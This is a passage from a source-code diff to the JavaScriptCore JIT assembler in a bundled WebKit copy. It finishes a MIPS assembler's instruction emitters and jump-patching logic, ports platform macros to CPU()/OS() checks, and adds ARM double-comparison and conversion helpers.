+        emitInst(0x44800000 | (fs << OP_SH_FS) | (rt << OP_SH_RT));
+        copDelayNop();
+    }
+
+    void mfc1(RegisterID rt, FPRegisterID fs)
+    {
+        emitInst(0x44000000 | (fs << OP_SH_FS) | (rt << OP_SH_RT));
+        copDelayNop();
+    }
+
+    void truncwd(FPRegisterID fd, FPRegisterID fs)
+    {
+        emitInst(0x4620000d | (fd << OP_SH_FD) | (fs << OP_SH_FS));
+    }
+
+    void cvtdw(FPRegisterID fd, FPRegisterID fs)
+    {
+        emitInst(0x46800021 | (fd << OP_SH_FD) | (fs << OP_SH_FS));
+    }
+
+    void ceqd(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200032 | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void cngtd(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x4620003f | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void cnged(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x4620003d | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void cltd(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x4620003c | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void cled(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x4620003e | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void cueqd(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200033 | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void coled(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200036 | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void coltd(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200034 | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void culed(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200037 | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    void cultd(FPRegisterID fs, FPRegisterID ft)
+    {
+        emitInst(0x46200035 | (fs << OP_SH_FS) | (ft << OP_SH_FT));
+        copDelayNop();
+    }
+
+    // General helpers
+
+    JmpDst label()
+    {
+        return JmpDst(m_buffer.size());
+    }
+
+    JmpDst align(int alignment)
+    {
+        while (!m_buffer.isAligned(alignment))
+            bkpt();
+
+        return label();
+    }
+
+    static void* getRelocatedAddress(void* code, JmpSrc jump)
+    {
+        ASSERT(jump.m_offset != -1);
+        void* b = reinterpret_cast<void*>((reinterpret_cast<intptr_t>(code)) + jump.m_offset);
+        return b;
+    }
+
+    static void* getRelocatedAddress(void* code, JmpDst label)
+    {
+        void* b = reinterpret_cast<void*>((reinterpret_cast<intptr_t>(code)) + label.m_offset);
+        return b;
+    }
+
+    static int getDifferenceBetweenLabels(JmpDst from, JmpDst to)
+    {
+        return to.m_offset - from.m_offset;
+    }
+
+    static int getDifferenceBetweenLabels(JmpDst from, JmpSrc to)
+    {
+        return to.m_offset - from.m_offset;
+    }
+
+    static int getDifferenceBetweenLabels(JmpSrc from, JmpDst to)
+    {
+        return to.m_offset - from.m_offset;
+    }
+
+    // Assembler admin methods:
+
+    size_t size() const
+    {
+        return m_buffer.size();
+    }
+
+    void* executableCopy(ExecutablePool* allocator)
+    {
+        void *result = m_buffer.executableCopy(allocator);
+        if (!result)
+            return 0;
+
+        relocateJumps(m_buffer.data(), result);
+        return result;
+    }
+
+    static unsigned getCallReturnOffset(JmpSrc call)
+    {
+        // The return address is after a call and a delay slot instruction
+        return call.m_offset;
+    }
+
+    // Linking & patching:
+    //
+    // 'link' and 'patch' methods are for use on unprotected code - such as the code
+    // within the AssemblerBuffer, and code being patched by the patch buffer.  Once
+    // code has been finalized it is (platform support permitting) within a non-
+    // writable region of memory; to modify the code in an execute-only execuable
+    // pool the 'repatch' and 'relink' methods should be used.
+
+    void linkJump(JmpSrc from, JmpDst to)
+    {
+        ASSERT(to.m_offset != -1);
+        ASSERT(from.m_offset != -1);
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(reinterpret_cast<intptr_t>(m_buffer.data()) + from.m_offset);
+        MIPSWord* toPos = reinterpret_cast<MIPSWord*>(reinterpret_cast<intptr_t>(m_buffer.data()) + to.m_offset);
+
+        ASSERT(!(*(insn - 1)) && !(*(insn - 2)) && !(*(insn - 3)) && !(*(insn - 5)));
+        insn = insn - 6;
+        linkWithOffset(insn, toPos);
+    }
+
+    static void linkJump(void* code, JmpSrc from, void* to)
+    {
+        ASSERT(from.m_offset != -1);
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(reinterpret_cast<intptr_t>(code) + from.m_offset);
+
+        ASSERT(!(*(insn - 1)) && !(*(insn - 2)) && !(*(insn - 3)) && !(*(insn - 5)));
+        insn = insn - 6;
+        linkWithOffset(insn, to);
+    }
+
+    static void linkCall(void* code, JmpSrc from, void* to)
+    {
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(reinterpret_cast<intptr_t>(code) + from.m_offset);
+        linkCallInternal(insn, to);
+    }
+
+    static void linkPointer(void* code, JmpDst from, void* to)
+    {
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(reinterpret_cast<intptr_t>(code) + from.m_offset);
+        ASSERT((*insn & 0xffe00000) == 0x3c000000); // lui
+        *insn = (*insn & 0xffff0000) | ((reinterpret_cast<intptr_t>(to) >> 16) & 0xffff);
+        insn++;
+        ASSERT((*insn & 0xfc000000) == 0x34000000); // ori
+        *insn = (*insn & 0xffff0000) | (reinterpret_cast<intptr_t>(to) & 0xffff);
+    }
+
+    static void relinkJump(void* from, void* to)
+    {
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(from);
+
+        ASSERT(!(*(insn - 1)) && !(*(insn - 5)));
+        insn = insn - 6;
+        int flushSize = linkWithOffset(insn, to);
+
+        ExecutableAllocator::cacheFlush(insn, flushSize);
+    }
+
+    static void relinkCall(void* from, void* to)
+    {
+        void* start;
+        int size = linkCallInternal(from, to);
+        if (size == sizeof(MIPSWord))
+            start = reinterpret_cast<void*>(reinterpret_cast<intptr_t>(from) - 2 * sizeof(MIPSWord));
+        else
+            start = reinterpret_cast<void*>(reinterpret_cast<intptr_t>(from) - 4 * sizeof(MIPSWord));
+
+        ExecutableAllocator::cacheFlush(start, size);
+    }
+
+    static void repatchInt32(void* from, int32_t to)
+    {
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(from);
+        ASSERT((*insn & 0xffe00000) == 0x3c000000); // lui
+        *insn = (*insn & 0xffff0000) | ((to >> 16) & 0xffff);
+        insn++;
+        ASSERT((*insn & 0xfc000000) == 0x34000000); // ori
+        *insn = (*insn & 0xffff0000) | (to & 0xffff);
+        insn--;
+        ExecutableAllocator::cacheFlush(insn, 2 * sizeof(MIPSWord));
+    }
+
+    static void repatchPointer(void* from, void* to)
+    {
+        repatchInt32(from, reinterpret_cast<int32_t>(to));
+    }
+
+    static void repatchLoadPtrToLEA(void* from)
+    {
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(from);
+        insn = insn + 3;
+        ASSERT((*insn & 0xfc000000) == 0x8c000000); // lw
+        /* lw -> addiu */
+        *insn = 0x24000000 | (*insn & 0x03ffffff);
+
+        ExecutableAllocator::cacheFlush(insn, sizeof(MIPSWord));
+    }
+
+private:
+
+    /* Update each jump in the buffer of newBase.  */
+    void relocateJumps(void* oldBase, void* newBase)
+    {
+        // Check each jump
+        for (Jumps::Iterator iter = m_jumps.begin(); iter != m_jumps.end(); ++iter) {
+            int pos = *iter;
+            MIPSWord* insn = reinterpret_cast<MIPSWord*>(reinterpret_cast<intptr_t>(newBase) + pos);
+            insn = insn + 2;
+            // Need to make sure we have 5 valid instructions after pos
+            if ((unsigned int)pos >= m_buffer.size() - 5 * sizeof(MIPSWord))
+                continue;
+
+            if ((*insn & 0xfc000000) == 0x08000000) { // j
+                int offset = *insn & 0x03ffffff;
+                int oldInsnAddress = (int)insn - (int)newBase + (int)oldBase;
+                int topFourBits = (oldInsnAddress + 4) >> 28;
+                int oldTargetAddress = (topFourBits << 28) | (offset << 2);
+                int newTargetAddress = oldTargetAddress - (int)oldBase + (int)newBase;
+                int newInsnAddress = (int)insn;
+                if (((newInsnAddress + 4) >> 28) == (newTargetAddress >> 28))
+                    *insn = 0x08000000 | ((newTargetAddress >> 2) & 0x3ffffff);
+                else {
+                    /* lui */
+                    *insn = 0x3c000000 | (MIPSRegisters::t9 << OP_SH_RT) | ((newTargetAddress >> 16) & 0xffff);
+                    /* ori */
+                    *(insn + 1) = 0x34000000 | (MIPSRegisters::t9 << OP_SH_RT) | (MIPSRegisters::t9 << OP_SH_RS) | (newTargetAddress & 0xffff);
+                    /* jr */
+                    *(insn + 2) = 0x00000008 | (MIPSRegisters::t9 << OP_SH_RS);
+                }
+            } else if ((*insn & 0xffe00000) == 0x3c000000) { // lui
+                int high = (*insn & 0xffff) << 16;
+                int low = *(insn + 1) & 0xffff;
+                int oldTargetAddress = high | low;
+                int newTargetAddress = oldTargetAddress - (int)oldBase + (int)newBase;
+                /* lui */
+                *insn = 0x3c000000 | (MIPSRegisters::t9 << OP_SH_RT) | ((newTargetAddress >> 16) & 0xffff);
+                /* ori */
+                *(insn + 1) = 0x34000000 | (MIPSRegisters::t9 << OP_SH_RT) | (MIPSRegisters::t9 << OP_SH_RS) | (newTargetAddress & 0xffff);
+            }
+        }
+    }
+
+    static int linkWithOffset(MIPSWord* insn, void* to)
+    {
+        ASSERT((*insn & 0xfc000000) == 0x10000000 // beq
+               || (*insn & 0xfc000000) == 0x14000000 // bne
+               || (*insn & 0xffff0000) == 0x45010000 // bc1t
+               || (*insn & 0xffff0000) == 0x45000000); // bc1f
+        intptr_t diff = (reinterpret_cast<intptr_t>(to)
+                         - reinterpret_cast<intptr_t>(insn) - 4) >> 2;
+
+        if (diff < -32768 || diff > 32767 || *(insn + 2) != 0x10000003) {
+            /*
+                Convert the sequence:
+                  beq $2, $3, target
+                  nop
+                  b 1f
+                  nop
+                  nop
+                  nop
+                1:
+
+                to the new sequence if possible:
+                  bne $2, $3, 1f
+                  nop
+                  j    target
+                  nop
+                  nop
+                  nop
+                1:
+
+                OR to the new sequence:
+                  bne $2, $3, 1f
+                  nop
+                  lui $25, target >> 16
+                  ori $25, $25, target & 0xffff
+                  jr $25
+                  nop
+                1:
+
+                Note: beq/bne/bc1t are converted to bne/beq/bc1f.
+            */
+
+            if (*(insn + 2) == 0x10000003) {
+                if ((*insn & 0xfc000000) == 0x10000000) // beq
+                    *insn = (*insn & 0x03ff0000) | 0x14000005; // bne
+                else if ((*insn & 0xfc000000) == 0x14000000) // bne
+                    *insn = (*insn & 0x03ff0000) | 0x10000005; // beq
+                else if ((*insn & 0xffff0000) == 0x45010000) // bc1t
+                    *insn = 0x45000005; // bc1f
+                else
+                    ASSERT(0);
+            }
+
+            insn = insn + 2;
+            if ((reinterpret_cast<intptr_t>(insn) + 4) >> 28
+                == reinterpret_cast<intptr_t>(to) >> 28) {
+                *insn = 0x08000000 | ((reinterpret_cast<intptr_t>(to) >> 2) & 0x3ffffff);
+                *(insn + 1) = 0;
+                return 4 * sizeof(MIPSWord);
+            }
+
+            intptr_t newTargetAddress = reinterpret_cast<intptr_t>(to);
+            /* lui */
+            *insn = 0x3c000000 | (MIPSRegisters::t9 << OP_SH_RT) | ((newTargetAddress >> 16) & 0xffff);
+            /* ori */
+            *(insn + 1) = 0x34000000 | (MIPSRegisters::t9 << OP_SH_RT) | (MIPSRegisters::t9 << OP_SH_RS) | (newTargetAddress & 0xffff);
+            /* jr */
+            *(insn + 2) = 0x00000008 | (MIPSRegisters::t9 << OP_SH_RS);
+            return 5 * sizeof(MIPSWord);
+        }
+
+        *insn = (*insn & 0xffff0000) | (diff & 0xffff);
+        return sizeof(MIPSWord);
+    }
+
+    static int linkCallInternal(void* from, void* to)
+    {
+        MIPSWord* insn = reinterpret_cast<MIPSWord*>(from);
+        insn = insn - 4;
+
+        if ((*(insn + 2) & 0xfc000000) == 0x0c000000) { // jal
+            if ((reinterpret_cast<intptr_t>(from) - 4) >> 28
+                == reinterpret_cast<intptr_t>(to) >> 28) {
+                *(insn + 2) = 0x0c000000 | ((reinterpret_cast<intptr_t>(to) >> 2) & 0x3ffffff);
+                return sizeof(MIPSWord);
+            }
+
+            /* lui $25, (to >> 16) & 0xffff */
+            *insn = 0x3c000000 | (MIPSRegisters::t9 << OP_SH_RT) | ((reinterpret_cast<intptr_t>(to) >> 16) & 0xffff);
+            /* ori $25, $25, to & 0xffff */
+            *(insn + 1) = 0x34000000 | (MIPSRegisters::t9 << OP_SH_RT) | (MIPSRegisters::t9 << OP_SH_RS) | (reinterpret_cast<intptr_t>(to) & 0xffff);
+            /* jalr $25 */
+            *(insn + 2) = 0x0000f809 | (MIPSRegisters::t9 << OP_SH_RS);
+            return 3 * sizeof(MIPSWord);
+        }
+
+        ASSERT((*insn & 0xffe00000) == 0x3c000000); // lui
+        ASSERT((*(insn + 1) & 0xfc000000) == 0x34000000); // ori
+
+        /* lui */
+        *insn = (*insn & 0xffff0000) | ((reinterpret_cast<intptr_t>(to) >> 16) & 0xffff);
+        /* ori */
+        *(insn + 1) = (*(insn + 1) & 0xffff0000) | (reinterpret_cast<intptr_t>(to) & 0xffff);
+        return 2 * sizeof(MIPSWord);
+    }
+
+    AssemblerBuffer m_buffer;
+    Jumps m_jumps;
+};
+
+} // namespace JSC
+
+#endif // ENABLE(ASSEMBLER) && CPU(MIPS)
+
+#endif // MIPSAssembler_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssembler.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssembler.h
index 2743ab4..e6f698f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssembler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssembler.h
@@ -26,23 +26,27 @@
 #ifndef MacroAssembler_h
 #define MacroAssembler_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
-#if PLATFORM(ARM_THUMB2)
+#if CPU(ARM_THUMB2)
 #include "MacroAssemblerARMv7.h"
 namespace JSC { typedef MacroAssemblerARMv7 MacroAssemblerBase; };
 
-#elif PLATFORM(ARM_TRADITIONAL)
+#elif CPU(ARM_TRADITIONAL)
 #include "MacroAssemblerARM.h"
 namespace JSC { typedef MacroAssemblerARM MacroAssemblerBase; };
 
-#elif PLATFORM(X86)
+#elif CPU(MIPS)
+#include "MacroAssemblerMIPS.h"
+namespace JSC {
+typedef MacroAssemblerMIPS MacroAssemblerBase;
+};
+
+#elif CPU(X86)
 #include "MacroAssemblerX86.h"
 namespace JSC { typedef MacroAssemblerX86 MacroAssemblerBase; };
 
-#elif PLATFORM(X86_64)
+#elif CPU(X86_64)
 #include "MacroAssemblerX86_64.h"
 namespace JSC { typedef MacroAssemblerX86_64 MacroAssemblerBase; };
 
@@ -60,7 +64,7 @@ public:
     using MacroAssemblerBase::jump;
     using MacroAssemblerBase::branch32;
     using MacroAssemblerBase::branch16;
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     using MacroAssemblerBase::branchPtr;
     using MacroAssemblerBase::branchTestPtr;
 #endif
@@ -133,7 +137,8 @@ public:
 
     // Ptr methods
     // On 32-bit platforms (i.e. x86), these methods directly map onto their 32-bit equivalents.
-#if !PLATFORM(X86_64)
+    // FIXME: should this use a test for 32-bitness instead of this specific exception?
+#if !CPU(X86_64)
     void addPtr(RegisterID src, RegisterID dest)
     {
         add32(src, dest);
@@ -179,16 +184,6 @@ public:
         or32(imm, dest);
     }
 
-    void rshiftPtr(RegisterID shift_amount, RegisterID dest)
-    {
-        rshift32(shift_amount, dest);
-    }
-
-    void rshiftPtr(Imm32 imm, RegisterID dest)
-    {
-        rshift32(imm, dest);
-    }
-
     void subPtr(RegisterID src, RegisterID dest)
     {
         sub32(src, dest);
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.cpp b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.cpp
index d726ecd..b5b20fa 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.cpp
@@ -26,11 +26,11 @@
 
 #include "config.h"
 
-#if ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#if ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
 
 #include "MacroAssemblerARM.h"
 
-#if PLATFORM(LINUX)
+#if OS(LINUX)
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
@@ -43,7 +43,7 @@ namespace JSC {
 
 static bool isVFPPresent()
 {
-#if PLATFORM(LINUX)
+#if OS(LINUX)
     int fd = open("/proc/self/auxv", O_RDONLY);
     if (fd > 0) {
         Elf32_auxv_t aux;
@@ -62,7 +62,8 @@ static bool isVFPPresent()
 
 const bool MacroAssemblerARM::s_isVFPPresent = isVFPPresent();
 
-#if defined(ARM_REQUIRE_NATURAL_ALIGNMENT) && ARM_REQUIRE_NATURAL_ALIGNMENT
+#if CPU(ARMV5_OR_LOWER)
+/* On ARMv5 and below, natural alignment is required. */
 void MacroAssemblerARM::load32WithUnalignedHalfWords(BaseIndex address, RegisterID dest)
 {
     ARMWord op2;
@@ -91,4 +92,4 @@ void MacroAssemblerARM::load32WithUnalignedHalfWords(BaseIndex address, Register
 
 }
 
-#endif // ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#endif // ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.h
index 7a72b06..52c4fa2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARM.h
@@ -28,9 +28,7 @@
 #ifndef MacroAssemblerARM_h
 #define MacroAssemblerARM_h
 
-#include <wtf/Platform.h>
-
-#if ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#if ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
 
 #include "ARMAssembler.h"
 #include "AbstractMacroAssembler.h"
@@ -38,6 +36,9 @@
 namespace JSC {
 
 class MacroAssemblerARM : public AbstractMacroAssembler<ARMAssembler> {
+    static const int DoubleConditionMask = 0x0f;
+    static const int DoubleConditionBitSpecial = 0x10;
+    COMPILE_ASSERT(!(DoubleConditionBitSpecial & DoubleConditionMask), DoubleConditionBitSpecial_should_not_interfere_with_ARMAssembler_Condition_codes);
 public:
     enum Condition {
         Equal = ARMAssembler::EQ,
@@ -57,11 +58,20 @@ public:
     };
 
     enum DoubleCondition {
+        // These conditions will only evaluate to true if the comparison is ordered - i.e. neither operand is NaN.
         DoubleEqual = ARMAssembler::EQ,
+        DoubleNotEqual = ARMAssembler::NE | DoubleConditionBitSpecial,
         DoubleGreaterThan = ARMAssembler::GT,
         DoubleGreaterThanOrEqual = ARMAssembler::GE,
-        DoubleLessThan = ARMAssembler::LT,
-        DoubleLessThanOrEqual = ARMAssembler::LE,
+        DoubleLessThan = ARMAssembler::CC,
+        DoubleLessThanOrEqual = ARMAssembler::LS,
+        // If either operand is NaN, these conditions always evaluate to true.
+        DoubleEqualOrUnordered = ARMAssembler::EQ | DoubleConditionBitSpecial,
+        DoubleNotEqualOrUnordered = ARMAssembler::NE,
+        DoubleGreaterThanOrUnordered = ARMAssembler::HI,
+        DoubleGreaterThanOrEqualOrUnordered = ARMAssembler::CS,
+        DoubleLessThanOrUnordered = ARMAssembler::LT,
+        DoubleLessThanOrEqualOrUnordered = ARMAssembler::LE,
     };
 
     static const RegisterID stackPointerRegister = ARMRegisters::sp;
@@ -106,14 +116,18 @@ public:
             m_assembler.ands_r(dest, dest, w);
     }
 
-    void lshift32(Imm32 imm, RegisterID dest)
+    void lshift32(RegisterID shift_amount, RegisterID dest)
     {
-        m_assembler.movs_r(dest, m_assembler.lsl(dest, imm.m_value & 0x1f));
+        ARMWord w = ARMAssembler::getOp2(0x1f);
+        ASSERT(w != ARMAssembler::INVALID_IMM);
+        m_assembler.and_r(ARMRegisters::S0, shift_amount, w);
+
+        m_assembler.movs_r(dest, m_assembler.lsl_r(dest, ARMRegisters::S0));
     }
 
-    void lshift32(RegisterID shift_amount, RegisterID dest)
+    void lshift32(Imm32 imm, RegisterID dest)
     {
-        m_assembler.movs_r(dest, m_assembler.lsl_r(dest, shift_amount));
+        m_assembler.movs_r(dest, m_assembler.lsl(dest, imm.m_value & 0x1f));
     }
 
     void mul32(RegisterID src, RegisterID dest)
@@ -131,6 +145,11 @@ public:
         m_assembler.muls_r(dest, src, ARMRegisters::S0);
     }
 
+    void neg32(RegisterID srcDest)
+    {
+        m_assembler.rsbs_r(srcDest, srcDest, ARMAssembler::getOp2(0));
+    }
+
     void not32(RegisterID dest)
     {
         m_assembler.mvns_r(dest, dest);
@@ -148,7 +167,11 @@ public:
 
     void rshift32(RegisterID shift_amount, RegisterID dest)
     {
-        m_assembler.movs_r(dest, m_assembler.asr_r(dest, shift_amount));
+        ARMWord w = ARMAssembler::getOp2(0x1f);
+        ASSERT(w != ARMAssembler::INVALID_IMM);
+        m_assembler.and_r(ARMRegisters::S0, shift_amount, w);
+
+        m_assembler.movs_r(dest, m_assembler.asr_r(dest, ARMRegisters::S0));
     }
 
     void rshift32(Imm32 imm, RegisterID dest)
@@ -189,6 +212,11 @@ public:
         m_assembler.eors_r(dest, dest, m_assembler.getImm(imm.m_value, ARMRegisters::S0));
     }
 
+    void load8(ImplicitAddress address, RegisterID dest)
+    {
+        m_assembler.dataTransfer32(true, dest, address.base, address.offset, true);
+    }
+
     void load32(ImplicitAddress address, RegisterID dest)
     {
         m_assembler.dataTransfer32(true, dest, address.base, address.offset);
@@ -199,7 +227,7 @@ public:
         m_assembler.baseIndexTransfer32(true, dest, address.base, address.index, static_cast<int>(address.scale), address.offset);
     }
 
-#if defined(ARM_REQUIRE_NATURAL_ALIGNMENT) && ARM_REQUIRE_NATURAL_ALIGNMENT
+#if CPU(ARMV5_OR_LOWER)
     void load32WithUnalignedHalfWords(BaseIndex address, RegisterID dest);
 #else
     void load32WithUnalignedHalfWords(BaseIndex address, RegisterID dest)
@@ -334,6 +362,12 @@ public:
             move(src, dest);
     }
 
+    Jump branch8(Condition cond, Address left, Imm32 right)
+    {
+        load8(left, ARMRegisters::S1);
+        return branch32(cond, ARMRegisters::S1, right);
+    }
+
     Jump branch32(Condition cond, RegisterID left, RegisterID right, int useConstantPool = 0)
     {
         m_assembler.cmp_r(left, right);
@@ -397,6 +431,12 @@ public:
         return m_assembler.jmp(ARMCondition(cond));
     }
 
+    Jump branchTest8(Condition cond, Address address, Imm32 mask = Imm32(-1))
+    {
+        load8(address, ARMRegisters::S1);
+        return branchTest32(cond, ARMRegisters::S1, mask);
+    }
+
     Jump branchTest32(Condition cond, RegisterID reg, RegisterID mask)
     {
         ASSERT((cond == Zero) || (cond == NonZero));
@@ -505,6 +545,20 @@ public:
         return Jump(m_assembler.jmp(ARMCondition(cond)));
     }
 
+    Jump branchNeg32(Condition cond, RegisterID srcDest)
+    {
+        ASSERT((cond == Overflow) || (cond == Signed) || (cond == Zero) || (cond == NonZero));
+        neg32(srcDest);
+        return Jump(m_assembler.jmp(ARMCondition(cond)));
+    }
+
+    Jump branchOr32(Condition cond, RegisterID src, RegisterID dest)
+    {
+        ASSERT((cond == Signed) || (cond == Zero) || (cond == NonZero));
+        or32(src, dest);
+        return Jump(m_assembler.jmp(ARMCondition(cond)));
+    }
+
     void breakpoint()
     {
         m_assembler.bkpt(0);
@@ -548,6 +602,25 @@ public:
         m_assembler.mov_r(dest, ARMAssembler::getOp2(1), ARMCondition(cond));
     }
 
+    void set8(Condition cond, RegisterID left, RegisterID right, RegisterID dest)
+    {
+        // ARM doesn't have byte registers
+        set32(cond, left, right, dest);
+    }
+
+    void set8(Condition cond, Address left, RegisterID right, RegisterID dest)
+    {
+        // ARM doesn't have byte registers
+        load32(left, ARMRegisters::S1);
+        set32(cond, ARMRegisters::S1, right, dest);
+    }
+
+    void set8(Condition cond, RegisterID left, Imm32 right, RegisterID dest)
+    {
+        // ARM doesn't have byte registers
+        set32(cond, left, right, dest);
+    }
+
     void setTest32(Condition cond, Address address, Imm32 mask, RegisterID dest)
     {
         load32(address, ARMRegisters::S1);
@@ -559,6 +632,12 @@ public:
         m_assembler.mov_r(dest, ARMAssembler::getOp2(1), ARMCondition(cond));
     }
 
+    void setTest8(Condition cond, Address address, Imm32 mask, RegisterID dest)
+    {
+        // ARM doesn't have byte registers
+        setTest32(cond, address, mask, dest);
+    }
+
     void add32(Imm32 imm, RegisterID src, RegisterID dest)
     {
         m_assembler.add_r(dest, src, m_assembler.getImm(imm.m_value, ARMRegisters::S0));
@@ -666,6 +745,12 @@ public:
         m_assembler.doubleTransfer(true, dest, address.base, address.offset);
     }
 
+    void loadDouble(void* address, FPRegisterID dest)
+    {
+        m_assembler.ldr_un_imm(ARMRegisters::S0, (ARMWord)address);
+        m_assembler.fdtr_u(true, dest, ARMRegisters::S0, 0);
+    }
+
     void storeDouble(FPRegisterID src, ImplicitAddress address)
     {
         m_assembler.doubleTransfer(false, src, address.base, address.offset);
@@ -682,6 +767,18 @@ public:
         addDouble(ARMRegisters::SD0, dest);
     }
 
+    void divDouble(FPRegisterID src, FPRegisterID dest)
+    {
+        m_assembler.fdivd_r(dest, dest, src);
+    }
+
+    void divDouble(Address src, FPRegisterID dest)
+    {
+        ASSERT_NOT_REACHED(); // Untested
+        loadDouble(src, ARMRegisters::SD0);
+        divDouble(ARMRegisters::SD0, dest);
+    }
+
     void subDouble(FPRegisterID src, FPRegisterID dest)
     {
         m_assembler.fsubd_r(dest, dest, src);
@@ -710,11 +807,30 @@ public:
         m_assembler.fsitod_r(dest, dest);
     }
 
+    void convertInt32ToDouble(Address src, FPRegisterID dest)
+    {
+        ASSERT_NOT_REACHED(); // Untested
+        // flds does not worth the effort here
+        load32(src, ARMRegisters::S1);
+        convertInt32ToDouble(ARMRegisters::S1, dest);
+    }
+
+    void convertInt32ToDouble(AbsoluteAddress src, FPRegisterID dest)
+    {
+        ASSERT_NOT_REACHED(); // Untested
+        // flds does not worth the effort here
+        m_assembler.ldr_un_imm(ARMRegisters::S1, (ARMWord)src.m_ptr);
+        m_assembler.dtr_u(true, ARMRegisters::S1, ARMRegisters::S1, 0);
+        convertInt32ToDouble(ARMRegisters::S1, dest);
+    }
+
     Jump branchDouble(DoubleCondition cond, FPRegisterID left, FPRegisterID right)
     {
         m_assembler.fcmpd_r(left, right);
         m_assembler.fmstat();
-        return Jump(m_assembler.jmp(static_cast<ARMAssembler::Condition>(cond)));
+        if (cond & DoubleConditionBitSpecial)
+            m_assembler.cmp_r(ARMRegisters::S0, ARMRegisters::S0, ARMAssembler::VS);
+        return Jump(m_assembler.jmp(static_cast<ARMAssembler::Condition>(cond & ~DoubleConditionMask)));
     }
 
     // Truncates 'src' to an integer, and places the resulting 'dest'.
@@ -729,6 +845,29 @@ public:
         return jump();
     }
 
+    // Convert 'src' to an integer, and places the resulting 'dest'.
+    // If the result is not representable as a 32 bit value, branch.
+    // May also branch for some values that are representable in 32 bits
+    // (specifically, in this case, 0).
+    void branchConvertDoubleToInt32(FPRegisterID src, RegisterID dest, JumpList& failureCases, FPRegisterID fpTemp)
+    {
+        m_assembler.ftosid_r(ARMRegisters::SD0, src);
+        m_assembler.fmrs_r(dest, ARMRegisters::SD0);
+
+        // Convert the integer result back to float & compare to the original value - if not equal or unordered (NaN) then jump.
+        m_assembler.fsitod_r(ARMRegisters::SD0, ARMRegisters::SD0);
+        failureCases.append(branchDouble(DoubleNotEqualOrUnordered, src, ARMRegisters::SD0));
+
+        // If the result is zero, it might have been -0.0, and 0.0 equals to -0.0
+        failureCases.append(branchTest32(Zero, dest));
+    }
+
+    void zeroDouble(FPRegisterID srcDest)
+    {
+        m_assembler.mov_r(ARMRegisters::S0, ARMAssembler::getOp2(0));
+        convertInt32ToDouble(ARMRegisters::S0, srcDest);
+    }
+
 protected:
     ARMAssembler::Condition ARMCondition(Condition cond)
     {
@@ -811,6 +950,6 @@ private:
 
 }
 
-#endif // ENABLE(ASSEMBLER) && PLATFORM(ARM_TRADITIONAL)
+#endif // ENABLE(ASSEMBLER) && CPU(ARM_TRADITIONAL)
 
 #endif // MacroAssemblerARM_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARMv7.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARMv7.h
index c479517..3d08f0e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARMv7.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerARMv7.h
@@ -1,5 +1,6 @@
 /*
  * Copyright (C) 2009 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 University of Szeged
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -26,8 +27,6 @@
 #ifndef MacroAssemblerARMv7_h
 #define MacroAssemblerARMv7_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
 #include "ARMv7Assembler.h"
@@ -93,13 +92,21 @@ public:
